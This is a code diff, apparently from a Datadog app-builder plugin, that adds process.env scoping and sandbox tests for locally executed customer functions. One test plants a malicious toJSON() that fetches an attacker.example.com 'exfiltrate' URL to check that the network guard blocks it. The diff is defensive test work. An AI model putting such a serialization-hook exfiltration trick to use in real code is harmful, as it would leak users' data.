const use = jest.fn(); + const ssrLoadModule = jest.fn(); + const configureServer = plugin!.configureServer as (server: unknown) => void; + configureServer({ + middlewares: { use }, + ssrLoadModule, + config: { mode: DEV_VERIFY_MODE }, + }); + + expect(use).toHaveBeenCalledTimes(1); + const middleware = use.mock.calls[0][0] as ( + req: IncomingMessage, + res: ServerResponse, + next: () => void, + ) => void; + + const apiScope = nock(DD_API_ORIGIN) + .post('/api/v2/app-builder/queries/preview-async') + .reply(200, { data: { id: 'receipt-dev-verify' } }) + .get('/api/v2/app-builder/queries/execution-long-polling/receipt-dev-verify') + .reply(200, { + data: { + attributes: { + done: true, + outputs: { data: { result: 'via cloud' } }, + }, + }, + }); + + const req = createMockRequest('/__dd/executeAction', { + functionName: bundleName1, + args: ['world'], + }); + const res = createMockResponse(); + + middleware(req, res, jest.fn()); + await res.done; + + expect(res.statusCode).toBe(200); + const body = JSON.parse(res.getBody()); + expect(body.result).toEqual({ data: { result: 'via cloud' } }); + expect(apiScope.isDone()).toBe(true); + expect(ssrLoadModule).not.toHaveBeenCalled(); + }); }); diff --git a/packages/plugins/apps/src/vite/index.ts b/packages/plugins/apps/src/vite/index.ts index a3f630181..ff484d79e 100644 --- a/packages/plugins/apps/src/vite/index.ts +++ b/packages/plugins/apps/src/vite/index.ts @@ -332,6 +332,7 @@ export const getVitePlugin = ({ options.longPolling, context.buildRoot, log, + server.config.mode, ); server.middlewares.use(middleware); }, diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index 3d9e21cf4..317b8bd74 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -10,6 +10,7 @@ import * as shared from '../backend/shared'; import type { BackendFunction } from '../backend/types'; import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; +import { forceResetEnv } from './env-guard'; import type { ExecuteAction, LoadModule } from './local-execution'; import { DEFAULT_LONG_POLLING_CONFIG, @@ -49,9 +50,10 @@ beforeEach(() => { const stubExecuteAction: ExecuteAction = async (fqn) => ({ data: null, stub: true, fqn }); -// Hard backstop: net/fetch/child_process are process-wide singletons, so a test that leaves them patched (e.g. an abandoned hung-function test) would otherwise leak into every later test in this Jest worker. +// Hard backstop: net/fetch/child_process/process.env are process-wide singletons, so a test that leaves them patched (e.g. an abandoned hung-function test) would otherwise leak into every later test in this Jest worker. afterEach(() => { forceReset(); + forceResetEnv(); }); /** A `loadModule` double that resolves the customer's function from a map and rejects anything else with a module-not-found error, matching the common case where neither optional package is installed. */ @@ -704,6 +706,114 @@ describe('local-execution — executeScriptLocally', () => { expect(require('child_process').spawn).toBe(realSpawn); }); + describe('env-guard integration', () => { + const originalEnv = process.env; + + afterEach(() => { + process.env = originalEnv; + }); + + test("Should never expose the dev server's own DD_API_KEY to the customer function", async () => { + process.env = { ...originalEnv, DD_API_KEY: 'the-dev-servers-own-api-key' }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => typeof process.env.DD_API_KEY === 'undefined', + }), + mockLogger, + ); + + expect(result).toEqual({ data: true }); + }); + + test("Should never expose an AWS-like credential from the developer's own shell to the customer function", async () => { + process.env = { ...originalEnv, AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key' }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => typeof process.env.AWS_SECRET_ACCESS_KEY === 'undefined', + }), + mockLogger, + ); + + expect(result).toEqual({ data: true }); + }); + + test('Should still expose PATH/HOME/NODE_ENV/TMPDIR to the customer function when set in the real environment', async () => { + process.env = { + ...originalEnv, + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => ({ + PATH: process.env.PATH, + HOME: process.env.HOME, + NODE_ENV: process.env.NODE_ENV, + TMPDIR: process.env.TMPDIR, + }), + }), + mockLogger, + ); + + expect(result).toEqual({ + data: { + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }, + }); + }); + + test('Should restore the real process.env after execution, whether the function resolves or throws', async () => { + process.env = { ...originalEnv, AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key' }; + const realEnv = process.env; + + await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => 'ok' }), + mockLogger, + ); + expect(process.env).toBe(realEnv); + + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + throw new Error('boom'); + }, + }), + mockLogger, + ), + ).rejects.toThrow('boom'); + expect(process.env).toBe(realEnv); + }); + }); + // Asserts $'s exact key set, since a token added inside globalThis.$ wouldn't be caught by the weaker top-level check below. test('Should never expose an auth token to the customer module — only backendFunctionArgs, Actions, and Source are visible on globalThis.$', async () => { const result = await executeScriptLocally( @@ -1207,6 +1317,62 @@ describe('local-execution — executeScriptLocally', () => { expect(executeAction).not.toHaveBeenCalled(); }); + // Mirrors the raw $.Actions path's malicious-toJSON() test — the action-catalog typed-wrapper path needed its own serialize-before-runAllowed fix since it doesn't share code with makeActionsProxy. + test("Should block a malicious toJSON() on an action-catalog typed-wrapper call's request from making a real network call under cover of the exemption", async () => { + jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); + let registeredImpl: + | ((actionId: string, request: unknown) => Promise) + | undefined; + let fetchAttempt: Promise | undefined; + const maliciousRequest = { + inputs: { + text: 'hi', + toJSON() { + fetchAttempt = fetch('https://attacker.example.com/exfiltrate'); + return { text: 'hi' }; + }, + }, + connectionId: 'conn-1', + }; + + const loadModule: LoadModule = async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + return { + example: async () => + registeredImpl?.( + 'com.datadoghq.slack.chat.postMessage', + maliciousRequest, + ), + }; + } + if (specifier === '@datadog/action-catalog/action-execution') { + return { + setExecuteActionImplementation: ( + impl: (actionId: string, request: unknown) => Promise, + ) => { + registeredImpl = impl; + }, + }; + } + const error: NodeJS.ErrnoException = new Error(`Cannot find module '${specifier}'`); + error.code = 'MODULE_NOT_FOUND'; + throw error; + }; + + const result = await executeScriptLocally( + funcWithConnection, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModule, + mockLogger, + ); + + expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); + expect(fetchAttempt).toBeDefined(); + await expect(fetchAttempt).rejects.toThrow(/Network access is not allowed/); + }); + // Mirrors the action-catalog abandonment test — apps-backend's setBackend has the same shared-module-level-setter hazard. test("Should reject an abandoned execution's apps-backend accessor call once concluded", async () => { jest.spyOn(shared, 'isDatadogAppsBackendInstalled').mockReturnValue(true); diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index bfda990b6..26033e562 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -14,6 +14,7 @@ import type { BackendFunction, BackendOutputs } from '../backend/types'; import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; import type { LongPollingOptions } from '../types'; +import { buildScopedEnv, forceResetEnv, runWithScopedEnv } from './env-guard'; import { createEpochGuard } from './execution-epoch'; import { forceReset, runAllowed, runBlocked } from './network-guard'; @@ -270,7 +271,8 @@ function makeActionsProxy( // Serializes inputs before entering runAllowed's scope, so a malicious toJSON() can't fire its own network call inside the window meant to exempt only the trusted API call. let serializedInputs: Record; try { - serializedInputs = JSON.parse(JSON.stringify(inputs)); + const inputsJson = JSON.stringify(inputs); + serializedInputs = JSON.parse(inputsJson); } catch (err) { return Promise.reject( new Error( @@ -668,13 +670,16 @@ async function runScriptLocally( const scheduleTimeout = () => { timer = setTimeout(() => { concludeExecution(); - // Promise.race abandons a hung fn rather than cancelling it, so its own runBlocked - // call's try/finally never runs its scope.concludeIfCurrent() cleanup. This - // invalidates the epoch so a later runAllowed call the abandoned fn might still make + // Promise.race abandons a hung fn rather than cancelling it, so its own runBlocked/ + // runWithScopedEnv calls never reach their finally. forceReset() only invalidates the + // network guard's epoch, so a later runAllowed call the abandoned fn might still make // becomes a no-op instead of incorrectly exempting it — the block itself stays // enforced regardless, since blockedContext (an AsyncLocalStorage) keeps scoping the - // abandoned continuation on its own. + // abandoned continuation on its own. forceResetEnv() does more: it also restores the + // real process.env immediately, since env scoping has no AsyncLocalStorage backstop + // of its own to fall back on the way the network guard does. forceReset(); + forceResetEnv(); rejectTimeout?.( new Error(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`), ); @@ -767,11 +772,14 @@ async function runScriptLocally( `Execution of "${func.name}" was abandoned after timing out before it could start.`, ); } - // assertJsonSerializable runs inside runBlocked's callback, not after, since its toJSON()/getter calls on the result must run while network/subprocess access is still blocked. - const data = await runBlocked(async () => { - const result = await fn(...args); - return assertJsonSerializable(result, func); - }); + // Nests runBlocked (network/subprocess) with runWithScopedEnv (process.env) for the same window — independent globals, so nesting order doesn't matter. assertJsonSerializable runs inside both, since a malicious result's toJSON()/getter must run while access is still blocked/scoped. + const scopedEnv = buildScopedEnv({}); + const data = await runWithScopedEnv(scopedEnv, () => + runBlocked(async () => { + const result = await fn(...args); + return assertJsonSerializable(result, func); + }), + ); return { data }; }), ); @@ -789,6 +797,10 @@ async function runScriptLocally( // Fires regardless of pendingActionCalls, unlike the pause-and-extend timeout above — bounds the worst case of a fire-and-forget $.Actions call masking an unrelated hang to totalExecutionTimeoutMs instead of the per-call actionCallTimeoutMs. const absoluteTimeoutTimer = setTimeout(() => { concludeExecution(); + // Same reasoning as scheduleTimeout's own handler above: this fn is abandoned, not + // cancelled, so its runBlocked/runWithScopedEnv calls never reach their own finally. + forceReset(); + forceResetEnv(); rejectTimeout?.( new Error( `Local execution of "${func.name}" exceeded the absolute ${totalExecutionTimeoutMs}ms execution ceiling, regardless of any $.Actions call in flight.`,